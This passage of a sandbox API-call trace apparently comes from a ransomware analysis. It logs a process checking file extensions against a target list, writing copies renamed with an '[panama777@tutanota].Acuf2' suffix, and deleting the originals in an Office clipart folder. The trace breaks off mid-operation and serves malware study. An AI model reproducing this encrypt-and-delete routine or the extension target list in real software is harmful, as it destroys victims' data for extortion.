	[0271.323] lstrlenW (lpString=".docx") returned 5
	[0271.323] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0271.323] lstrlenW (lpString=".pdf") returned 4
	[0271.323] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.323] lstrlenW (lpString=".xls") returned 4
	[0271.323] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.323] lstrlenW (lpString=".xlsx") returned 5
	[0271.323] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0271.323] lstrlenW (lpString=".ppt") returned 4
	[0271.323] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.323] lstrlenW (lpString=".zip") returned 4
	[0271.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.324] lstrlenW (lpString=".rar") returned 4
	[0271.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.324] lstrlenW (lpString=".bz2") returned 4
	[0271.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.324] lstrlenW (lpString=".7z") returned 3
	[0271.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.324] lstrlenW (lpString=".dbf") returned 4
	[0271.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.324] lstrlenW (lpString=".1cd") returned 4
	[0271.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned 63
	[0271.324] lstrlenW (lpString=".jpg") returned 4
	[0271.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.324] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1198) returned 1
	[0271.324] CloseHandle (hObject=0x360) returned 1
	[0271.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20
	[0271.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.325] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.325] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.325] GetLastError () returned 0x0
	[0271.325] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4ae, lpOverlapped=0x0) returned 1
	[0271.526] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4b0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4b0, lpOverlapped=0x0) returned 1
	[0271.527] ReadFile (in: hFile=0x360, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.527] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.527] SetEndOfFile (hFile=0x28c) returned 1
	[0271.527] CloseHandle (hObject=0x28c) returned 1
	[0271.527] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.527] SetEndOfFile (hFile=0x360) returned 1
	[0271.530] CloseHandle (hObject=0x360) returned 1
	[0271.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 1
	[0271.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.538] lstrlenW (lpString=".doc") returned 4
	[0271.538] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.538] lstrlenW (lpString=".docx") returned 5
	[0271.538] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0271.538] lstrlenW (lpString=".pdf") returned 4
	[0271.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.538] lstrlenW (lpString=".xls") returned 4
	[0271.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.538] lstrlenW (lpString=".xlsx") returned 5
	[0271.538] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0271.538] lstrlenW (lpString=".ppt") returned 4
	[0271.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.538] lstrlenW (lpString=".zip") returned 4
	[0271.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.538] lstrlenW (lpString=".rar") returned 4
	[0271.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.538] lstrlenW (lpString=".bz2") returned 4
	[0271.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.538] lstrlenW (lpString=".7z") returned 3
	[0271.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.538] lstrlenW (lpString=".dbf") returned 4
	[0271.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0271.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.539] lstrlenW (lpString=".1cd") returned 4
	[0271.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0271.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned 63
	[0271.539] lstrlenW (lpString=".jpg") returned 4
	[0271.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0271.542] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.542] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.543] GetLastError () returned 0x0
	[0271.543] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4162, lpOverlapped=0x0) returned 1
	[0271.556] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4170, lpOverlapped=0x0) returned 1
	[0271.557] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.557] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.557] SetEndOfFile (hFile=0x390) returned 1
	[0271.557] CloseHandle (hObject=0x390) returned 1
	[0271.557] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.558] SetEndOfFile (hFile=0x35c) returned 1
	[0271.560] CloseHandle (hObject=0x35c) returned 1
	[0271.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg")) returned 1
	[0271.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.560] lstrlenW (lpString=".doc") returned 4
	[0271.560] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.560] lstrlenW (lpString=".docx") returned 5
	[0271.560] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0271.560] lstrlenW (lpString=".pdf") returned 4
	[0271.560] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.560] lstrlenW (lpString=".xls") returned 4
	[0271.560] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.560] lstrlenW (lpString=".xlsx") returned 5
	[0271.561] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0271.561] lstrlenW (lpString=".ppt") returned 4
	[0271.561] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.561] lstrlenW (lpString=".zip") returned 4
	[0271.561] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.561] lstrlenW (lpString=".rar") returned 4
	[0271.561] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.561] lstrlenW (lpString=".bz2") returned 4
	[0271.561] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.561] lstrlenW (lpString=".7z") returned 3
	[0271.561] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.561] lstrlenW (lpString=".dbf") returned 4
	[0271.561] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.561] lstrlenW (lpString=".1cd") returned 4
	[0271.561] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned 63
	[0271.561] lstrlenW (lpString=".jpg") returned 4
	[0271.561] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.562] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=9080) returned 1
	[0271.562] CloseHandle (hObject=0x35c) returned 1
	[0271.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 0x20
	[0271.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0271.562] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.562] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.562] GetLastError () returned 0x0
	[0271.562] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2378, lpOverlapped=0x0) returned 1
	[0271.588] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2380, lpOverlapped=0x0) returned 1
	[0271.589] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.589] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.589] SetEndOfFile (hFile=0x390) returned 1
	[0271.589] CloseHandle (hObject=0x390) returned 1
	[0271.589] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.589] SetEndOfFile (hFile=0x35c) returned 1
	[0271.591] CloseHandle (hObject=0x35c) returned 1
	[0271.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0271.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.622] lstrlenW (lpString=".doc") returned 4
	[0271.622] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0271.622] lstrlenW (lpString=".docx") returned 5
	[0271.622] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0271.622] lstrlenW (lpString=".pdf") returned 4
	[0271.622] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0271.622] lstrlenW (lpString=".xls") returned 4
	[0271.622] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0271.622] lstrlenW (lpString=".xlsx") returned 5
	[0271.622] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0271.622] lstrlenW (lpString=".ppt") returned 4
	[0271.622] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0271.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.622] lstrlenW (lpString=".zip") returned 4
	[0271.622] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0271.622] lstrlenW (lpString=".rar") returned 4
	[0271.622] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0271.622] lstrlenW (lpString=".bz2") returned 4
	[0271.623] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0271.623] lstrlenW (lpString=".7z") returned 3
	[0271.623] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0271.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.623] lstrlenW (lpString=".dbf") returned 4
	[0271.623] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0271.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.623] lstrlenW (lpString=".1cd") returned 4
	[0271.623] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0271.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63
	[0271.623] lstrlenW (lpString=".jpg") returned 4
	[0271.623] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0271.624] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.624] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.624] GetLastError () returned 0x0
	[0271.624] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x8ada, lpOverlapped=0x0) returned 1
	[0271.645] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x8ae0, lpOverlapped=0x0) returned 1
	[0271.646] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.647] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.647] SetEndOfFile (hFile=0x360) returned 1
	[0271.647] CloseHandle (hObject=0x360) returned 1
	[0271.647] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.647] SetEndOfFile (hFile=0x390) returned 1
	[0271.649] CloseHandle (hObject=0x390) returned 1
	[0271.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif")) returned 1
	[0271.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.650] lstrlenW (lpString=".doc") returned 4
	[0271.650] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.650] lstrlenW (lpString=".docx") returned 5
	[0271.650] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0271.650] lstrlenW (lpString=".pdf") returned 4
	[0271.650] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.650] lstrlenW (lpString=".xls") returned 4
	[0271.650] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.650] lstrlenW (lpString=".xlsx") returned 5
	[0271.650] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0271.650] lstrlenW (lpString=".ppt") returned 4
	[0271.650] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.650] lstrlenW (lpString=".zip") returned 4
	[0271.650] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.650] lstrlenW (lpString=".rar") returned 4
	[0271.650] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.650] lstrlenW (lpString=".bz2") returned 4
	[0271.650] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.650] lstrlenW (lpString=".7z") returned 3
	[0271.650] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.650] lstrlenW (lpString=".dbf") returned 4
	[0271.650] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.650] lstrlenW (lpString=".1cd") returned 4
	[0271.650] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF") returned 63
	[0271.651] lstrlenW (lpString=".jpg") returned 4
	[0271.651] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.651] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=19923) returned 1
	[0271.651] CloseHandle (hObject=0x390) returned 1
	[0271.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 0x20
	[0271.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.651] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.651] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.652] GetLastError () returned 0x0
	[0271.652] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4dd3, lpOverlapped=0x0) returned 1
	[0271.750] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x4de0, lpOverlapped=0x0) returned 1
	[0271.751] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
